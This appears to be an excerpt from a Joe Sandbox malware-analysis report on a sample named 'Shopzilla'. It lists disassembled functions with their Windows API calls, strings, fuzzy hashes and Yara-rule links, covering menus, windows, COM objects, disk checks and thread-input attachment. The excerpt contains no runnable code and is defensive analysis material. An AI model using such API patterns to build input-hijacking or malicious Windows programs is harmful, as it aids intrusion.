Download Yara Rule

APIs

__itow.LIBCMT ref: 00BA4D62
__swprintf.LIBCMT ref: 00BA4DAC
__i64tow.LIBCMT ref: 00BDDA6B

Strings

False, xrefs: 00BDDA33
0x%p, xrefs: 00BDDA4D
True, xrefs: 00BDDA2C
%.15g, xrefs: 00BA4DA6

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 5f886cc56833e5cba4922984d9964307b43b6d0e8f8aa96c01c829de4f0b19df
Instruction ID: a58f58ff37d04d0612ef275dcaae2e57c598be503e9ccc9e1af2451777571c66
Opcode Fuzzy Hash: 5f886cc56833e5cba4922984d9964307b43b6d0e8f8aa96c01c829de4f0b19df
Instruction Fuzzy Hash: 9A41D671518209AFDB24DF78D882E7AB7E8EB45300F2044EFE589D7291EAB29D41DB10

Function 00C2753F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C27557
CreateMenu.USER32 ref: 00C27572
SetMenu.USER32(?,00000000), ref: 00C27581
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C2760E
IsMenu.USER32(?), ref: 00C27624
CreatePopupMenu.USER32 ref: 00C2762E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C2765B
DrawMenuBar.USER32 ref: 00C27663

Strings

F, xrefs: 00C2764F
0, xrefs: 00C2754D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 620449ca733e830517b76f298f9b511ca49336500d0b602eedecb5ff425ab0c6
Instruction ID: 829bbd36ca69074a76c6dc53d10794fd5bb494a98a1d7ec0033258da610671ac
Opcode Fuzzy Hash: 620449ca733e830517b76f298f9b511ca49336500d0b602eedecb5ff425ab0c6
Instruction Fuzzy Hash: 2F415779A04219EFDB20DF69E884B9ABBF5FF49340F140129F955A7360D770AA10CF94

Function 00C278A8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00C2794B
CreateCompatibleDC.GDI32(00000000), ref: 00C27952
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00C27965
SelectObject.GDI32(00000000,00000000), ref: 00C2796D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00C27978
DeleteDC.GDI32(00000000), ref: 00C27981
GetWindowLongW.USER32(?,000000EC), ref: 00C2798B
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00C2799F
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00C279AB

Strings

static, xrefs: 00C278E3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: eb4a82d0564d90fff4c1d205a475c3f801069434be22cdd101c4fcd345e1e733
Instruction ID: c2d9c99223fae1df77811eca3dda2078b07350d19f112ad8ba0ee8cde541d8d2
Opcode Fuzzy Hash: eb4a82d0564d90fff4c1d205a475c3f801069434be22cdd101c4fcd345e1e733
Instruction Fuzzy Hash: A5316B32114229AFDF11AF64EC49FDE3B69FF09320F210315FA65A61A0C731D961DBA4

Function 00BC6F60 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC6F9B

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

__gmtime64_s.LIBCMT ref: 00BC7034
__gmtime64_s.LIBCMT ref: 00BC706A
__gmtime64_s.LIBCMT ref: 00BC7087
__allrem.LIBCMT ref: 00BC70DD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BC70F9
__allrem.LIBCMT ref: 00BC7110
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BC712E
__allrem.LIBCMT ref: 00BC7145
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00BC7163
__invoke_watson.LIBCMT ref: 00BC71D4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 909483b723dca8eb68e3c405b5decec382066e908f450d5985e6ac74a1fb7f45
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 2871D472A40716ABD7149F79DC82F6AB3E8EF15724F1442BEF514E7281EB70D9408BA0

Function 00C02B3A Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C02B55
GetMenuItemInfoW.USER32(00C66890,000000FF,00000000,00000030), ref: 00C02BB6
SetMenuItemInfoW.USER32(00C66890,00000004,00000000,00000030), ref: 00C02BEC
Sleep.KERNEL32(000001F4), ref: 00C02BFE
GetMenuItemCount.USER32(?), ref: 00C02C42
GetMenuItemID.USER32(?,00000000), ref: 00C02C5E
GetMenuItemID.USER32(?,-00000001), ref: 00C02C88
GetMenuItemID.USER32(?,?), ref: 00C02CCD
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00C02D13
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C02D27
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C02D48

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: f1abf64b13157616b1522146c70a9e44f14724f59ca8f97932ccbe92e4f641c0
Instruction ID: 5406c672725c91833924bce708c7e4b277fe2d47ca2a083a3c894ae4d1183c62
Opcode Fuzzy Hash: f1abf64b13157616b1522146c70a9e44f14724f59ca8f97932ccbe92e4f641c0
Instruction Fuzzy Hash: 526181B1900249AFEF21CF64DC9CEBEBBB8FB40308F240559E851A7291D771AE45DB61

Function 00C27310 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00C27392
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00C27395
GetWindowLongW.USER32(?,000000F0), ref: 00C273B9
_memset.LIBCMT ref: 00C273CA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00C273DC
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00C27454

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 0b035e580c1e25314b3d1e8db3a3d38c74d35db18afc49d27f7e0705b9af745e
Instruction ID: b7957c9ce301b10f56e0585af58802765ec75aff49b37fac81f128ee99e069a2
Opcode Fuzzy Hash: 0b035e580c1e25314b3d1e8db3a3d38c74d35db18afc49d27f7e0705b9af745e
Instruction Fuzzy Hash: 6B615975900218AFDB21DFA8DC81EEE77F8EB49714F1001A9FA14A72A1C770AE45DF90

Function 00BF7599 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00BF75C0
SafeArrayAllocData.OLEAUT32(?), ref: 00BF7619
VariantInit.OLEAUT32(?), ref: 00BF762B
SafeArrayAccessData.OLEAUT32(?,?), ref: 00BF764B
VariantCopy.OLEAUT32(?,?), ref: 00BF769E
SafeArrayUnaccessData.OLEAUT32(?), ref: 00BF76B2
VariantClear.OLEAUT32(?), ref: 00BF76C7
SafeArrayDestroyData.OLEAUT32(?), ref: 00BF76D4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00BF76DD
VariantClear.OLEAUT32(?), ref: 00BF76EF
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00BF76FA

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 633af799a7aa9589b8d0c52cc0f81861d518ea074a45a4dea29bd0a3af317963
Instruction ID: 577dbbf7e662bdb199572a41580d0c33f9b63bc9aa3796e104b798f0cbc307a0
Opcode Fuzzy Hash: 633af799a7aa9589b8d0c52cc0f81861d518ea074a45a4dea29bd0a3af317963
Instruction Fuzzy Hash: FA415135A1421DAFCB04DF68D854AADBBF9FF48350F1080A9EA55A7251CB70EE49CB90

Function 00C1886D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

CoInitialize.OLE32 ref: 00C188B5
CoUninitialize.OLE32 ref: 00C188C0
CoCreateInstance.OLE32(?,00000000,00000017,00C33BBC,?), ref: 00C18920
IIDFromString.OLE32(?,?), ref: 00C18993
VariantInit.OLEAUT32(?), ref: 00C18A2D
VariantClear.OLEAUT32(?), ref: 00C18A8E

Strings

Invalid parameter, xrefs: 00C189AC
NULL Pointer assignment, xrefs: 00C18965
Failed to create object, xrefs: 00C1892B, 00C189E1

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: b3c2c12fc7983e9683fce012c866db21596d16b98d654895ab2147388495aea5
Instruction ID: dbf4bda48e90ea97316a0d59dc49c2743aad33f71b461b9d1655290ed0b848b7
Opcode Fuzzy Hash: b3c2c12fc7983e9683fce012c866db21596d16b98d654895ab2147388495aea5
Instruction Fuzzy Hash: 81619F716087019FD710DF24C849BAEB7E4AF46714F104959F9859B291CB70EE8CEB92

Function 00C0B973 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C0B980
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00C0B9F6
GetLastError.KERNEL32 ref: 00C0BA00
SetErrorMode.KERNEL32(00000000,READY), ref: 00C0BA6D

Strings

NOTREADY, xrefs: 00C0BA2C
INVALID, xrefs: 00C0BA3F
READONLY, xrefs: 00C0BA38
UNKNOWN, xrefs: 00C0BA25
READY, xrefs: 00C0BA46

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 102e577a59478fda564e94f6096015c428b8836b11eb99dc9bc91d829df83902
Instruction ID: b45becd66ab7e99e2e0086079671acdca606f3295bb2b9f9c784d3b0ec866a71
Opcode Fuzzy Hash: 102e577a59478fda564e94f6096015c428b8836b11eb99dc9bc91d829df83902
Instruction Fuzzy Hash: 6331B035B00209AFCB10EF68D895ABEBBB8EF44300F1080A9F916D72D1DB719E45DB90

Function 00BF992A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00BF99AF
GetDlgCtrlID.USER32 ref: 00BF99BA
GetParent.USER32 ref: 00BF99D6
SendMessageW.USER32(00000000,?,00000111,?), ref: 00BF99D9
GetDlgCtrlID.USER32(?), ref: 00BF99E2
GetParent.USER32(?), ref: 00BF99FE
SendMessageW.USER32(00000000,?,?,00000111), ref: 00BF9A01

Strings

ListBox, xrefs: 00BF996C
ComboBox, xrefs: 00BF9937

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: faec08a86c7323023dadaad09426f25fa07b5beb32a372d3fc618a5d74344931
Instruction ID: fb48338c8937514b2cc4db3796181d26d5d5e90f44aed14e96dd51264e3da875
Opcode Fuzzy Hash: faec08a86c7323023dadaad09426f25fa07b5beb32a372d3fc618a5d74344931
Instruction Fuzzy Hash: 03212171A00208BFDF00AB64CCA5FFEBBB8EF94300F104195FA61932E5DB744828CA20

Function 00BF9A15 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BFB57D: GetClassNameW.USER32(?,?,000000FF), ref: 00BFB5A0

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00BF9A98
GetDlgCtrlID.USER32 ref: 00BF9AA3
GetParent.USER32 ref: 00BF9ABF
SendMessageW.USER32(00000000,?,00000111,?), ref: 00BF9AC2
GetDlgCtrlID.USER32(?), ref: 00BF9ACB
GetParent.USER32(?), ref: 00BF9AE7
SendMessageW.USER32(00000000,?,?,00000111), ref: 00BF9AEA

Strings

ListBox, xrefs: 00BF9A57
ComboBox, xrefs: 00BF9A22

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 96b1ef1f66a531918510b4951a105e26a5f8fdc1f1bed66ed807e88c96c1b537
Instruction ID: efb741be8b60a478d37a8c7d8ee7480766324b94f95690e2faed3925752a254b
Opcode Fuzzy Hash: 96b1ef1f66a531918510b4951a105e26a5f8fdc1f1bed66ed807e88c96c1b537
Instruction Fuzzy Hash: 7221C175A00108BFDB00AB64CCA5FFEBBB9EF94300F500151F96197295DB755859DA20

Function 00BF9AFE Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00BF9B0A
GetClassNameW.USER32(00000000,?,00000100), ref: 00BF9B1F
_wcscmp.LIBCMT ref: 00BF9B31
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00BF9BAC

Strings

list, xrefs: 00BF9B8E
SHELLDLL_DefView, xrefs: 00BF9B2B
largeicons, xrefs: 00BF9B40
details, xrefs: 00BF9B5A
smallicons, xrefs: 00BF9B74

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 4bcbb822a573a05749a0eabc82d9dfa3cf5b02979d6c58544574a8300abacf14
Instruction ID: 83f8d8bed03b79c01af094986255fd18e01d15acfa332877e2fff2f2e8d75652
Opcode Fuzzy Hash: 4bcbb822a573a05749a0eabc82d9dfa3cf5b02979d6c58544574a8300abacf14
Instruction Fuzzy Hash: 27110D7764830AFAF6142A11FC07FB673DCDB15721B2040A6FF04B60E3FEA258594519

Function 00C18D5D Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00C18D89
CoInitialize.OLE32(00000000), ref: 00C18DB6
CoUninitialize.OLE32 ref: 00C18DC0
GetRunningObjectTable.OLE32(00000000,?), ref: 00C18EC0
SetErrorMode.KERNEL32(00000001,00000029), ref: 00C18FED
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00C33BDC), ref: 00C19021
CoGetObject.OLE32(?,00000000,00C33BDC,?), ref: 00C19044
SetErrorMode.KERNEL32(00000000), ref: 00C19057
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00C190D7
VariantClear.OLEAUT32(?), ref: 00C190E7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: f8e5c60c599924da93bdb1d7a998020c6c719881aa367110d8f7de139183d5d5
Instruction ID: 69e86bbe1e4369cdeb18de66bf28ff7358934adaa1b3c26070bc0620b55a7147
Opcode Fuzzy Hash: f8e5c60c599924da93bdb1d7a998020c6c719881aa367110d8f7de139183d5d5
Instruction Fuzzy Hash: 9FC177712083059FC700EF64C894A6BB7E9FF8A308F00495DF58A9B251DB71ED89CB92

Function 00C07DB8 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00C07E94

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: cb514c9af558f6b34c8f90ce721bb983e4fb1de74ddf908eaa0b8e9fdfca105c
Instruction ID: 52aef0094e2073da0cedfdd3925638c6fde2d8e9ccff8cdd3a502ad4b5b586c6
Opcode Fuzzy Hash: cb514c9af558f6b34c8f90ce721bb983e4fb1de74ddf908eaa0b8e9fdfca105c
Instruction Fuzzy Hash: 49B1AE71D0421A9FDB00DFA4C884BBEB7F4EF48324F208169E650E7281DB74E945DBA0

Function 00C01839 Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C0185B
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00C008D3,?,00000001), ref: 00C0186F
GetWindowThreadProcessId.USER32(00000000), ref: 00C01876
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C008D3,?,00000001), ref: 00C01885
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C01897
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C008D3,?,00000001), ref: 00C018B0
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00C008D3,?,00000001), ref: 00C018C2
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00C008D3,?,00000001), ref: 00C01907
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C008D3,?,00000001), ref: 00C0191C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00C008D3,?,00000001), ref: 00C01927

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
